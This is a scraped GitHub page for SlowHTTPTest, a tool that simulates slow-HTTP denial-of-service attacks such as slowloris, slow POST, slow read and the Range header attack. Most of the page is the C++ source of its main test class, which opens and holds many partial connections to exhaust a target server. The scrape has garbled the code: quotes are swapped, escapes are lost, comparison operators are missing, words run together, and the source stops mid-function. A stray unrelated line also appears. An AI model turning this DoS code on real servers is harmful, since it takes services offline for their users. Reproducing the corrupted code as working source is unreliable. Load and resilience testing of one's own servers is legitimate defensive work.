SlowHTTPTest Original files. SlowHTTPTest is a highly configurable tool that simulates some Application Layer Denial of Service attacks. It works on majority of Linux platforms, OSX and Cygwin - a Unix-like environment and command-line interface for Microsoft Windows. Figure 1: Sample HTML output of slowhttptest results. As is shown in the above test, the slowhttptest tool can be used to test a variety of different slow http attacks and to understand the effects they will have on specific server configurations.
SlowHTTPTest is a highly configurable tool that simulates some Application Layer Denial of Service attacks. It works on majority of Linux platforms, OSX and Cygwin - a Unix-like environment and command-line interface for Microsoft Windows.
It implements most common low-bandwidth Application Layer DoS attacks, such as slowloris, Slow HTTP POST, Slow Read attack (based on TCP persist timer exploit) by draining concurrent connections pool, as well as Apache Range Header attack by causing very significant memory and CPU usage on the server.
Chrome Cleanup Tool For Mac
Slowloris and Slow HTTP POST DoS attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. If the server keeps too many resources busy, this creates a denial of service. This tool is sending partial HTTP requests, trying to get denial of service from target HTTP server.
Permalink
All your code in one place
GitHub makes it easy to scale back on context switching. Read rendered documentation, see the history of any file, and collaborate with contributors on projects across GitHub.
Sign up for free See pricing for teams and enterprises Find file Copy path
Cannot retrieve contributors at this time

/***************************************************************************** |
* Copyright 2011 Sergey Shekyan |
* |
* Licensed under the Apache License, Version 2.0 (the 'License'); |
* you may not use this file except in compliance with the License. |
* You may obtain a copy of the License at |
* |
* http://www.apache.org/licenses/LICENSE-2.0 |
* |
* Unless required by applicable law or agreed to in writing, software |
* distributed under the License is distributed on an 'AS IS' BASIS, |
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
* See the License for the specific language governing permissions and |
* limitations under the License. |
* *****************************************************************************/ |
/***** |
* Author: Sergey Shekyan shekyan@gmail.com |
* |
* Slow HTTP attack vulnerability test tool |
* http://code.google.com/p/slowhttptest/ |
*****/ |
#include'config.h' |
#include'slowhttptest.h' |
#include<errno.h> |
#include<math.h> |
#include<stdio.h> |
#include<unistd.h> |
#include<numeric> |
#include<sstream> |
#include<string> |
#include<cstring> |
#include<vector> |
#include<netdb.h> |
#include<netinet/in.h> |
#ifdef HAVE_POLL |
#include<sys/poll.h> |
#endif |
#include<sys/time.h> |
#include<sys/resource.h> |
#include<sys/socket.h> |
#include'range-generator.h' |
#include'slowlog.h' |
#include'slowsocket.h' |
#include'slowhttptest.h' |
#include'slowstats.h' |
#include'text-generator.h' |
// Global flag to indicate if we need to run. |
externint g_running; |
namespace { |
staticconstintkBufSize = 65537; |
// update ExitStatusType too |
staticconstchar* exit_status_msg[] = { |
'Hit test time limit', |
'No open connections left', |
'Cannot establish connection', |
'Connection refused', |
'Cancelled by user', |
'Unexpected error' |
}; |
// update ProxyType too |
staticconstchar* proxy_type_name[] = { |
'HTTP proxy at ', |
'HTTP tunnel at ', |
'SOCKS 4 at ', |
'SOCKS 5 at ', |
'probe proxy at ', |
'no proxy' |
}; |
staticconstchar* test_type_name[] = { |
'SLOW HEADERS', |
'SLOW BODY', |
'RANGE', |
'SLOW READ' |
}; |
staticconstchar* user_agents[] = { |
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36' |
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14', |
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0' |
'AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1', |
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1) ' |
'msnbot-131-253-46-102.search.msn.com', |
'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' |
'AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30', |
'Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) ' |
'Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML,like Gecko) PhantomJS/1.9.0 (development) Safari/534.34', |
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)' |
}; |
staticconstchar referer[] = |
'Referer: TESTING_PURPOSES_ONLYrn'; |
staticconstchar content_type_default[] = 'Content-Type: application/x-www-form-urlencodedrn'; |
staticconstchar accept_default[] = 'Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5rn'; |
staticconstchar post_request[] = 'Connection: closern' |
'rn' |
'foo=bar'; |
// per RFC 2616 section 4.2, header can be any US_ASCII character (0-127), |
// but we'll start with X- |
staticconstchar header_prefix[] = 'X-'; |
staticconstchar header_separator[] = ': '; |
staticconstchar body_prefix[] = '&'; |
staticconstchar body_separator[] = '='; |
staticconstchar crlf[] = 'rn'; |
staticconstchar peer_closed[] = 'Peer closed connection'; |
} // namespace |
namespaceslowhttptest { |
SlowHTTPTest::SlowHTTPTest(int delay, int duration, |
int interval, int con_cnt, |
int max_random_data_len, |
int content_length, SlowTestType type, |
bool need_stats, int pipeline_factor, |
int probe_interval, |
int range_start, int range_limit, |
int read_interval, int read_len, |
int window_lower_limit, |
int window_upper_limit, |
ProxyType proxy_type, |
int debug_level) |
: probe_socket_(0), |
delay_(delay), |
duration_(duration), |
followup_timing_(interval), |
followup_cnt_(duration_ / followup_timing_), |
num_connections_(con_cnt), |
pipeline_factor_(pipeline_factor), |
probe_timeout_(probe_interval), |
extra_data_max_len_(max_random_data_len), |
seconds_passed_(0), |
content_length_(content_length), |
test_type_(type), |
need_stats_(need_stats), |
range_start_(range_start), |
range_limit_(range_limit), |
exit_status_(eCancelledByUser), |
extra_data_max_len_total_(0), |
read_interval_(read_interval), |
read_len_(read_len), |
window_lower_limit_(window_lower_limit), |
window_upper_limit_(window_upper_limit), |
is_dosed_(false), |
proxy_type_(proxy_type), |
debug_level_(debug_level) { |
} |
SlowHTTPTest::~SlowHTTPTest() { |
freeaddrinfo(addr_); |
for(std::vector<StatsDumper*>::iterator i = dumpers_.begin(); |
i != dumpers_.end(); ++i) { |
delete *i; |
} |
if(probe_socket_) { |
delete probe_socket_; |
} |
dumpers_.clear(); |
if(sock_.size() > 0) { |
for(int i = 0; i < num_connections_; ++i) { |
delete sock_[i]; |
} |
} |
sock_.clear(); |
} |
boolSlowHTTPTest::change_fd_limits() { |
rlimit fd_limit = {0, 0}; |
if(getrlimit(RLIMIT_NOFILE, &fd_limit)) { |
slowlog(LOG_ERROR, ' error getting limits for open files: %sn', strerror(errno)); |
returnfalse; |
} |
// +3 is stdin, stdout, stderr + 2 for stat fds + 4 spare |
if(fd_limit.rlim_cur != RLIM_INFINITY && fd_limit.rlim_cur < (unsigned)(num_connections_ + 10)) { //extend limits |
if(fd_limit.rlim_max RLIM_INFINITY || fd_limit.rlim_max > (unsigned)(num_connections_ + 10)) { |
fd_limit.rlim_cur = num_connections_ + 10; |
} else { // max limit is lower than requested |
fd_limit.rlim_cur = fd_limit.rlim_max; |
num_connections_ = fd_limit.rlim_max - 6; |
slowlog(LOG_INFO, ' hit system limit for open fds: %d. n' |
'Decreasing target connection number to %dn', |
fd_limit.rlim_max, |
num_connections_); |
} |
if(setrlimit(RLIMIT_NOFILE, &fd_limit)) { |
slowlog(LOG_ERROR, ' error setting limits for open files: %sn', strerror(errno)); |
returnfalse; |
} else { |
slowlog(LOG_INFO, ' set open files limit to %dn', fd_limit.rlim_cur); |
} |
} |
returntrue; |
} |
constchar* SlowHTTPTest::get_random_extra() { |
random_extra_.clear(); |
random_extra_.append(prefix_); |
random_extra_.append(textgen_.get_text(extra_data_max_len_)); |
random_extra_.append(separator_); |
random_extra_.append(textgen_.get_text(extra_data_max_len_)); |
if(postfix_) { |
random_extra_.append(postfix_); |
} |
return random_extra_.c_str(); |
} |
boolSlowHTTPTest::init(constchar* url, constchar* verb, |
constchar* path, constchar* proxy, |
constchar* content_type, constchar* accept) { |
if(!change_fd_limits()) { |
slowlog(LOG_INFO, 'error setting open file limitsn'); |
} |
if(!base_uri_.prepare(url)) { |
slowlog(LOG_FATAL, 'Error parsing URLn'); |
returnfalse; |
} |
if(eNoProxy proxy_type_) { |
if(!resolve_addr(base_uri_.getHost().c_str(), base_uri_.getPortStr(), &addr_, base_uri_.isLiteralIPv6())) { |
returnfalse; |
} |
} else { |
if(base_uri_.isSSL()) { |
slowlog(LOG_FATAL, 'TLS/SSL connections through proxy are not supported yet.n'); |
returnfalse; |
} |
if(proxy != 0 && strlen(proxy)) { |
if(!proxy_.prepare(proxy)) { |
slowlog(LOG_FATAL, 'Error parsing proxy informationn'); |
returnfalse; |
} else { |
if(eHTTPProxy proxy_type_) { |
if(!resolve_addr(proxy_.getHost().c_str(), proxy_.getPortStr(), &addr_)) { |
returnfalse; |
} |
} |
if(eProbeProxy proxy_type_) { |
if(!resolve_addr(base_uri_.getHost().c_str(), base_uri_.getPortStr(), &addr_)) { |
returnfalse; |
} |
if(!resolve_addr(base_uri_.getHost().c_str(), proxy_.getPortStr(), &probe_proxy_addr_)) { |
returnfalse; |
} |
} |
} |
} else { |
slowlog(LOG_FATAL, 'No proxy specifiedn'); |
returnfalse; |
} |
} |
extra_data_max_len_total_ = extra_data_max_len_ * 2 + (eHeader test_type_ ? 4 : 2); |
random_extra_.resize(extra_data_max_len_total_); // including separators |
user_agent_.append(user_agents[rand() % sizeof(user_agents)/sizeof(*user_agents)]); |
// promise to rewrite this mess in next release |
if(eHeader test_type_) { |
// setup follow up data pattern |
separator_ = header_separator; |
prefix_ = header_prefix; |
postfix_ = crlf; |
// setup verb |
if(verb != 0 && strlen(verb)) { |
verb_.append(verb); |
} else { |
verb_.append('GET'); |
} |
} elseif(ePost test_type_) { |
// setup follow up data pattern |
separator_ = body_separator; |
prefix_ = body_prefix; |
postfix_ = 0; |
if(strlen(verb)) { |
verb_.append(verb); |
} else { |
verb_.append('POST'); |
} |
} elseif(eRange test_type_) { |
if(strlen(verb)) { |
verb_.append(verb); |
} else { |
verb_.append('HEAD'); |
} |
} elseif(eSlowRead test_type_) { |
verb_.append('GET'); |
} |
// Content-type |
if(content_type != 0 && strlen(content_type)) { |
content_type_.append('Content-Type: '); |
content_type_.append(content_type); |
content_type_.append(crlf); |
} else { |
content_type_.append(content_type_default); |
} |
// Accept |
if(accept != 0 && strlen(accept)) { |
accept_.append('Accept: '); |
accept_.append(accept); |
accept_.append(crlf); |
} else { |
accept_.append(accept_default); |
} |
// start building request |
request_.clear(); |
request_.append(verb_); |
request_.append(''); |
if(eHTTPProxy proxy_type_) |
request_.append(base_uri_.getData()); |
else |
request_.append(base_uri_.getPath()); |
request_.append(' HTTP/1.1rn'); |
request_.append('Host: '); |
request_.append(base_uri_.getHost()); |
if(base_uri_.getPort() != 80 && base_uri_.getPort() != 443) { |
request_.append(':'); |
std::stringstream ss; |
ss << base_uri_.getPort(); |
request_.append(ss.str()); |
} |
request_.append('rn'); |
request_.append('User-Agent: '); |
request_.append(user_agent_); |
request_.append('rn'); |
request_.append(referer); |
// method for probe is always GET |
probe_request_.append('GET'); |
if(eProbeProxy proxy_type_) { |
probe_request_.append(''); |
probe_request_.append(base_uri_.getData()); |
probe_request_.append(request_.begin() + verb_.size() + 1 + base_uri_.getPathLen(), request_.end()); |
} else { |
probe_request_.append(request_.begin() + verb_.size(), request_.end()); |
} |
probe_request_.append('rn'); |
if(ePost test_type_) { |
request_.append('Content-Length: '); |
std::stringstream ss; |
ss << content_length_; |
request_.append(ss.str()); |
request_.append('rn'); |
request_.append(content_type_); |
request_.append(accept_); |
request_.append(post_request); |
} elseif(eRange test_type_) { |
GenerateRangeHeader(range_start_, 1, range_limit_, &request_); |
} |
if(eSlowRead test_type_) { |
if(pipeline_factor_ > 1) { |
request_.append('Connection: Keep-Alivern'); |
request_.reserve(request_.length() * pipeline_factor_); |
} |
request_.append('rn'); |
size_t len = request_.length(); |
for(int i = 1; i < pipeline_factor_; ++i){ |
request_.append(request_.c_str(), len); |
} |
} |
// init statistics |
if(need_stats_) { |
char csv_file_name[1024] = {0}; |
char html_file_name[1024] = {0}; |
if(path && strlen(path)) { |
sprintf(csv_file_name, '%s.csv', path); |
sprintf(html_file_name, '%s.html', path); |
} else { |
time_t rawtime; |
structtm * timeinfo; |
time(&rawtime); |
timeinfo = localtime(&rawtime); |
strftime(csv_file_name, 29, 'slow_%Y-%m-%d_%H-%M-%S.csv', timeinfo); |
strftime(html_file_name, 30, 'slow_%Y-%m-%d_%H-%M-%S.html', timeinfo); |
} |
csv_report_.append(csv_file_name); |
html_report_.append(html_file_name); |
char test_info[1024]; |
if(eSlowRead != test_type_) { |
sprintf(test_info,'<table border='0'>' |
'<tr><th>Test parameters</th></tr>' |
'<tr><td><b>Test type</b></td><td>%s</td></tr>' |
'<tr><td><b>Number of connections</b></td><td>%d</td></tr>' |
'<tr><td><b>Verb</b></td><td>%s</td></tr>' |
'<tr><td><b>Content-Length header value</b></td><td>%d</td></tr>' |
'<tr><td><b>Extra data max length</b></td><td>%d</td></tr>' |
'<tr><td><b>Interval between follow up data</b></td><td>%d seconds</td></tr>' |
'<tr><td><b>Connections per seconds</b></td><td>%d</td></tr>' |
'<tr><td><b>Timeout for probe connection</b></td><td>%d</td></tr>' |
'<tr><td><b>Target test duration</b></td><td>%d seconds</td></tr>' |
'<tr><td><b>Using proxy</b></td><td>%s %s</td></tr>' |
'</table>', |
test_type_name[test_type_], |
num_connections_, |
verb_.c_str(), |
content_length_, |
extra_data_max_len_total_, |
followup_timing_, |
delay_, |
probe_timeout_, |
duration_, |
proxy_type_name[proxy_type_], |
proxy_type_ eNoProxy ? '' : proxy_.getData() |
); |
} else { |
sprintf(test_info,'<table border='0'>' |
'<tr><th>Test parameters</th></tr>' |
'<tr><td><b>Test type</b></td><td>%s</td></tr>' |
'<tr><td><b>Number of connections</b></td><td>%d</td></tr>' |
'<tr><td><b>Receive window range</b></td><td>%d - %d</td></tr>' |
'<tr><td><b>Pipeline factor</b></td><td>%d</td></tr>' |
'<tr><td><b>Read rate from receive buffer</b></td><td>%d bytes / %d sec</td></tr>' |
'<tr><td><b>Connections per seconds</b></td><td>%d</td></tr>' |
'<tr><td><b>Timeout for probe connection</b></td><td>%d</td></tr>' |
'<tr><td><b>Target test duration</b></td><td>%d seconds</td></tr>' |
'<tr><td><b>Using proxy</b></td><td>%s %s</td></tr>' |
'</table>', |
test_type_name[test_type_], |
num_connections_, |
window_lower_limit_, |
window_upper_limit_, |
pipeline_factor_, |
read_len_, |
read_interval_, |
delay_, |
probe_timeout_, |
duration_, |
proxy_type_name[proxy_type_], |
proxy_type_ eNoProxy ? '' : proxy_.getData() |
); |
} |
dumpers_.push_back(newHTMLDumper(html_file_name, base_uri_.getData(), |
test_info)); |
dumpers_.push_back(newCSVDumper(csv_file_name, |
'Seconds,Closed,Pending,Connected,Service Availablen')); |
for (int i = 0; i < dumpers_.size(); ++i) { |
if (!dumpers_[i]->Initialize()) { |
slowlog(LOG_FATAL, 'Stat files cannot be opened for writing: |
nt%sn', |
strerror(errno)); |
returnfalse; |
} |
} |
} |
//report_parameters(); |
returntrue; |
} |
voidSlowHTTPTest::close_sock(int id) { |
sock_[id]->close(); |
} |
voidSlowHTTPTest::report_final() { |
slowlog(LOG_INFO, cCYA'nTest ended on %dth secondn' |
'Exit status:' cLCY' %sn' cRST, |
seconds_passed_, |
exit_status_msg[exit_status_] |
); |
if(need_stats_) { |
printf(cCYA'CSV report saved to ' cLCY '%sn' cRST, |
csv_report_.c_str()); |
printf(cCYA'HTML report saved to ' cLCY '%sn' cRST, |
html_report_.c_str()); |
} |
} |
voidSlowHTTPTest::report_parameters() { |
if(LOG_INFO debug_level_) { |
slowlog(LOG_INFO, 'x1b[Hx1b[2J'); |
} |
if(eSlowRead != test_type_) { |
slowlog(LOG_INFO, 'nt' cLCY PACKAGE ' version ' VERSION |
'n - https://code.google.com/p/slowhttptest/ -n' |
cBLU 'test type:' cLBL ' %sn' |
cBLU 'number of connections:' cLBL ' %dn' |
cBLU 'URL:' cLBL ' %sn' |
cBLU 'verb:' cLBL ' %sn' |
cBLU 'Content-Length header value:' cLBL ' %dn' |
cBLU 'follow up data max size:' cLBL ' %dn' |
cBLU 'interval between follow up data:' cLBL ' %d secondsn' |
cBLU 'connections per seconds:' cLBL ' %dn' |
cBLU 'probe connection timeout:' cLBL ' %d secondsn' |
cBLU 'test duration:' cLBL ' %d secondsn' |
cBLU 'using proxy:' cLBL ' %s%snn' cRST, |
test_type_name[test_type_], |
num_connections_, |
base_uri_.getData(), |
verb_.c_str(), |
content_length_, |
extra_data_max_len_total_, |
followup_timing_, |
delay_, |
probe_timeout_, |
duration_, |
proxy_type_name[proxy_type_], |
proxy_type_ eNoProxy ? '' : proxy_.getData() |
); |
} else { // slow read |
slowlog(LOG_INFO, 'nt' cLCY PACKAGE ' version ' VERSION |
'n - https://code.google.com/p/slowhttptest/ -n' |
cBLU 'test type:' cLBL ' %sn' |
cBLU 'number of connections:' cLBL ' %dn' |
cBLU 'URL:' cLBL ' %sn' |
cBLU 'verb:' cLBL ' %sn' |
cBLU 'receive window range:' cLBL ' %d - %dn' |
cBLU 'pipeline factor:' cLBL ' %dn' |
cBLU 'read rate from receive buffer:' cLBL ' %d bytes / %d secn' |
cBLU 'connections per seconds:' cLBL ' %dn' |
cBLU 'probe connection timeout:' cLBL ' %d secondsn' |
cBLU 'test duration:' cLBL ' %d secondsn' |
cBLU 'using proxy:' cLBL ' %s%snn' cRST, |
test_type_name[test_type_], |
num_connections_, |
base_uri_.getData(), |
verb_.c_str(), |
window_lower_limit_, |
window_upper_limit_, |
pipeline_factor_, |
read_len_, |
read_interval_, |
delay_, |
probe_timeout_, |
duration_, |
proxy_type_name[proxy_type_], |
proxy_type_ eNoProxy ? '' : proxy_.getData() |
); |
} |
} |
voidSlowHTTPTest::report_status(bool to_stats) { |
initializing_ = 0; |
connecting_ = 0; |
connected_ = 0; |
errored_ = 0; |
closed_ = 0; |
std::vector<SlowSocket*>::iterator it; |
SocketState state; |
for(it = sock_.begin(); it < sock_.end(); ++it) { |
if((*it)) { |
state = (*it)->get_state(); |
switch(state) { |
case eInit: |
++initializing_; |
break; |
case eConnecting: |
++connecting_; |
break; |
case eConnected: |
++connected_; |
break; |
case eError: |
++errored_; |
break; |
case eClosed: |
++closed_; |
break; |
default: |
slowlog(LOG_ERROR, 'Unknown socket state: %d', state); |
break; |
} |
} |
} |
if(to_stats) { |
for (int i = 0; i < dumpers_.size(); ++i) { |
dumpers_[i]->WriteStats('%d,%d,%d,%d,%d', |
seconds_passed_, |
closed_, |
connecting_, |
connected_, |
!is_dosed_ * num_connections_); |
} |
} else { |
slowlog(LOG_INFO, cLGN 'nslow HTTP test status on ' cGRN '%d' cLGN 'th second:nn' |
cLGN 'initializing:' cLGN ' %dn' |
cLGN 'pending: ' cLGN ' %dn' |
cLGN 'connected: ' cLGN ' %dn' |
cLGN 'error: ' cLGN ' %dn' |
cLGN 'closed: ' cLGN ' %dn' |
cLGN 'service available:' cLGN ' %sn' cRST, |
seconds_passed_, |
initializing_, |
connecting_, |
connected_, |
errored_, |
closed_, |
is_dosed_ ? cLRD 'NO' cRST : cLGN 'YES' cRST); |
} |
} |
boolSlowHTTPTest::resolve_addr(constchar* host, constchar* port, addrinfo **addr, bool is_ipv6) { |
int error; |
addrinfo hints; |
memset(&hints, 0, sizeof(hints)); |
if(is_ipv6) { |
hints.ai_family = PF_INET6; |
hints.ai_flags = AI_NUMERICHOST; |
} else { |
hints.ai_family = PF_UNSPEC; |
} |
hints.ai_socktype = SOCK_STREAM; |
// resolve the domain name into a list of addresses |
error = getaddrinfo(host, port, &hints, addr); |
if(error != 0) { |
slowlog(LOG_FATAL, 'Error in getaddrinfo: %sn', gai_strerror(error)); |
returnfalse; |
} |
returntrue; |
} |
boolSlowHTTPTest::run_test() { |
int num_connected = 0; |
#ifdef HAVE_POLL |
pollfd *fds = new pollfd[num_connections_ + 1]; // +1 for probe socket |
memset(fds, 0, sizeof(pollfd) * (num_connections_ + 1)); |
constint timeout = 1000; // constant 1 second timeout for poll |
#else |
fd_set readfds, writefds; |
timeval timeout; |
timerclear(&timeout); |
#endif |
int maxfd = 0; |
int result = 0; |
int ret = 0; |
timeval now, start, progress_timer, |
tv_delay; |
// connection rate per second |
tv_delay.tv_sec = 0; |
tv_delay.tv_usec = 1000000 / delay_; |
int active_sock_num; |
bool is_any_ever_connected = false; |
char buf[kBufSize]; |
constchar* extra_data; |
int heartbeat_reported = 1; //trick to print 0 sec hb |
int stats_reported = 1; //trick to print 0 sec hb |
int probe_taken = -1; // connect probe every second |
int connection_timeout = followup_timing_; |
timerclear(&now); |
timerclear(&progress_timer); |
gettimeofday(&start, 0); |
sock_.resize(num_connections_); |
// select/poll loop |
while(true) { |
int wr = 0; |
seconds_passed_ = progress_timer.tv_sec; |
#ifndef HAVE_POLL |
FD_ZERO(&readfds); |
FD_ZERO(&writefds); |
#endif |
// init and connect probe socket |
if(!probe_socket_ && probe_taken != seconds_passed_ && seconds_passed_ % probe_timeout_ 0) { |
probe_socket_ = newSlowSocket(); |
if(probe_socket_->init(addr_, proxy_type_ eNoProxy ? base_uri_.isSSL() : false, maxfd, 0)) { |
probe_socket_->set_state(eConnecting); |
probe_taken = seconds_passed_; |
slowlog(LOG_DEBUG, '%s: created probe socket %dn', |
__FUNCTION__, probe_socket_->get_sockfd()); |
} else { |
slowlog(LOG_ERROR, '%s: Unable to initialize probe socket.n', __FUNCTION__); |
} |
} else { |
if(probe_socket_ && probe_socket_->get_sockfd() > 0 && |
(seconds_passed_ - probe_taken >= probe_timeout_)) { |
delete probe_socket_; |
probe_socket_ = NULL; |
fds[0].fd = -1; |
fds[0].events = 0; |
fds[0].revents = 0; |
is_dosed_ = true; |
} |
} |
if(probe_socket_ && probe_socket_->get_sockfd() > 0) { |
#ifdef HAVE_POLL |
fds[0].fd = probe_socket_->get_sockfd(); |
fds[0].events = 0; |
#endif |
if(probe_socket_->get_requests_to_send()) { |
#ifdef HAVE_POLL |
fds[0].events |= POLLOUT; |
#else |
FD_SET(probe_socket_->get_sockfd(), &writefds); |
#endif |
++wr; |
} |
#ifdef HAVE_POLL |
fds[0].events |= POLLIN; |
#else |
FD_SET(probe_socket_->get_sockfd(), &readfds); |
#endif |
} |
active_sock_num = 0; |
if(num_connected < num_connections_) { |
sock_[num_connected] = newSlowSocket(); |
sock_[num_connected]->set_state(eInit); |
if(!sock_[num_connected]->init(addr_, proxy_type_ eNoProxy ? base_uri_.isSSL() : false, maxfd, |
(eRange test_type_ || eSlowRead test_type_) ? 0 : followup_cnt_, |
eSlowRead test_type_ ? read_interval_ : 0, |
window_lower_limit_, window_upper_limit_)) { |
sock_[num_connected]->set_state(eError); |
slowlog(LOG_ERROR, '%s: Unable to initialize %dth slow socket.n', __FUNCTION__, |
(int) num_connected); |
num_connections_ = num_connected; |
} else { |
sock_[num_connected]->set_state(eConnecting); |
++num_connected; |
} |
} |
for(int i = 0; i < num_connected; ++i) { |
if(sock_[i] && sock_[i]->get_sockfd() > 0) { |
#ifdef HAVE_POLL |
fds[i+1].fd = sock_[i]->get_sockfd(); |
fds[i+1].events = 0; |
#endif |
if(sock_[i]->is_ready_read(&progress_timer)) { |
#ifdef HAVE_POLL |
fds[i+1].events |= POLLIN; |
#else |
FD_SET(sock_[i]->get_sockfd(), &readfds); |
#endif |
} |
++active_sock_num; |
if(sock_[i]->get_requests_to_send() > 0) { |
++wr; |
#ifdef HAVE_POLL |
fds[i+1].events |= POLLOUT; |
#else |
FD_SET(sock_[i]->get_sockfd(), &writefds); |
#endif |
} elseif(sock_[i]->get_followups_to_send() > 0 |
&& (seconds_passed_ > 0 && seconds_passed_ % followup_timing_ 0)) { |
if(sock_[i]->get_last_followup_timing() != seconds_passed_) { |
sock_[i]->set_last_followup_timing(seconds_passed_); |
++wr; |
#ifdef HAVE_POLL |
fds[i+1].events |= POLLOUT; |
#else |
FD_SET(sock_[i]->get_sockfd(), &writefds); |
#endif |
} |
} |
} |
} |
// Print every second. |
if(need_stats_ && stats_reported != seconds_passed_) { |
report_status(true/*print_stats*/); |
stats_reported = seconds_passed_; |
} |
// Print every 5 seconds. |
if(seconds_passed_ % 50 && heartbeat_reported != seconds_passed_) { |
if(LOG_INFO debug_level_) |
report_parameters(); |
report_status(false/*print_stats*/); |
heartbeat_reported = seconds_passed_; |
} |
if(!g_running) { |
exit_status_ = eCancelledByUser; |
break; |
} |
// rude way to detect if something is wrong after connection_timeout |
if(seconds_passed_ > connection_timeout && !is_any_ever_connected) { |
if(connected_ 0 && connecting_ > 0 && closed_ 0) { |
exit_status_ = eHostNotAlive; |
} elseif (closed_ >= 0 && connecting_ >= 0) { |
exit_status_ = eConnectionRefused; |
} |
break; |
} |
if(seconds_passed_ > duration_) { // hit time limit |
exit_status_ = eTimeLimit; |
break; |
} |
if(active_sock_num 0) { //no open connections left |
if(!is_any_ever_connected) { |
exit_status_ = eConnectionRefused; |
} |
else { |
exit_status_ = eAllClosed; |
} |
break; |
} |
#ifdef HAVE_POLL |
// do not block if have new connections to establish |
result = poll(fds, (nfds_t)num_connections_ + 1, |
(num_connected < num_connections_)? 0 : timeout); |
#else |
// do not block if have new connections to establish |
timeout.tv_sec = (num_connected < num_connections_)? 0 : 1; |
timeout.tv_usec = 0; //microseconds |
result = ::select(maxfd + 1, &readfds, wr ? &writefds : NULL, NULL, |
&timeout); |
#endif |
::gettimeofday(&now, 0); |
timersub(&now, &start, &progress_timer); |
if(result < 0) { |
// slowlog(LOG_FATAL, '%s: select < num_connections_error: %sn', __FUNCTION__, strerror(errno)); |
break; |
} elseif(result 0) { |
// nothing to monitor |
//continue; |
} else { |
if(probe_socket_ && probe_socket_->get_sockfd() > 0) { |
#ifdef HAVE_POLL |
if(fds[0].revents & POLLIN) { |
#else |
if(FD_ISSET(probe_socket_->get_sockfd(), &readfds)) { |
#endif |
ret = probe_socket_->recv_slow(buf, kBufSize); |
buf[ret] = '0'; |
if(ret < 0 && errno != EAGAIN) { |
is_dosed_ = true; |
slowlog(LOG_DEBUG, '%s: probe socket %d closed: %sn', __FUNCTION__, |
probe_socket_->get_sockfd(), |
strerror(errno)); |
delete probe_socket_; |
probe_socket_ = NULL; |
#ifdef HAVE_POLL |
fds[0].events = 0; |
#endif |
} else { |
if(ret > 0) { |
slowlog(LOG_DEBUG, '%s:probe socket %d replied %d bytes:n %sn', __FUNCTION__, |
probe_socket_->get_sockfd(), ret, buf); |
is_dosed_ = false; |
delete probe_socket_; |
probe_socket_ = NULL; |
#ifdef HAVE_POLL |
fds[0].events = 0; |
#endif |
} else { |
slowlog(LOG_DEBUG, '%s: pending probe socket %dn', __FUNCTION__, |
probe_socket_->get_sockfd()); |
} |
} |
} |
} |
if(probe_socket_ && probe_socket_->get_sockfd() > 0) { |
#ifdef HAVE_POLL |
if(fds[0].revents & POLLOUT) { |
#else |
if(FD_ISSET(probe_socket_->get_sockfd(), &writefds)) { |
#endif |
ret = probe_socket_->send_slow(probe_request_.c_str(), |
probe_request_.size()); |
if(ret <= 0 && errno != EAGAIN) { |
is_dosed_ = true; |
slowlog(LOG_DEBUG, |
'%s:error sending request on probe socket %d:n%sn', |
__FUNCTION__, probe_socket_->get_sockfd(), |
strerror(errno)); |
delete probe_socket_; |
probe_socket_ = NULL; |
} else { |
if(ret > 0) { //actual data was sent |
slowlog(LOG_DEBUG, |
'%s:%d of %d bytes sent on probe socket %d:n%sn', |
__FUNCTION__, ret, |
(int) probe_request_.size(), |
(int) probe_socket_->get_sockfd(), |
probe_request_.c_str()); |
} else { |
slowlog(LOG_DEBUG, '%s: pending probe socket %dn', __FUNCTION__, |
probe_socket_->get_sockfd()); |
} |
} |
} |
} |
for(int i = 0; i < num_connected; i++) { |
if(sock_[i] && sock_[i]->get_sockfd() > 0) { |
#ifdef HAVE_POLL |
if(fds[i+1].revents & POLLIN) { |
#else |
if(FD_ISSET(sock_[i]->get_sockfd(), &readfds)) { // read |
#endif |
ret = sock_[i]->recv_slow(buf, (eSlowRead test_type_ ? read_len_ : kBufSize)); |
if(ret <= 0 && errno != EAGAIN) { |
sock_[i]->set_state(eClosed); |
slowlog(LOG_DEBUG, '%s: socket %d closed: %sn', __FUNCTION__, |
sock_[i]->get_sockfd(), |
ret?strerror(errno):peer_closed); |
close_sock(i); |
#ifdef HAVE_POLL |
fds[i+1].events = 0; |
#endif |
continue; |
} else { |
if(ret > 0) {// actual data recieved |
buf[ret] = '0'; |
slowlog(LOG_DEBUG, '%s: socket %d replied %d bytes:n%sn', __FUNCTION__, |
sock_[i]->get_sockfd(),ret, buf); |
sock_[i]->set_last_read(&progress_timer); |
} else { |
// still in connect phase |
//slowlog(LOG_DEBUG, 'socket %d rd status:%sn', |
// (int)sock_[i]->get_sockfd(), |
// strerror(errno)); |
} |
} |
} |
#ifdef HAVE_POLL |
if(fds[i+1].revents & POLLOUT) { |
#else |
if(FD_ISSET(sock_[i]->get_sockfd(), &writefds)) { // write |
#endif |
if(sock_[i]->get_requests_to_send() > 0) { |
ret = sock_[i]->send_slow(request_.c_str(), |
request_.size()); |
if(ret <= 0 && errno != EAGAIN) { |
sock_[i]->set_state(eClosed); |
slowlog(LOG_DEBUG, |
'%s:error sending initial slow request on socket %d:n%sn', |
__FUNCTION__, sock_[i]->get_sockfd(), |
strerror(errno)); |
close_sock(i); |
#ifdef HAVE_POLL |
fds[i+1].events = 0; |
#endif |
continue; |
} else { |
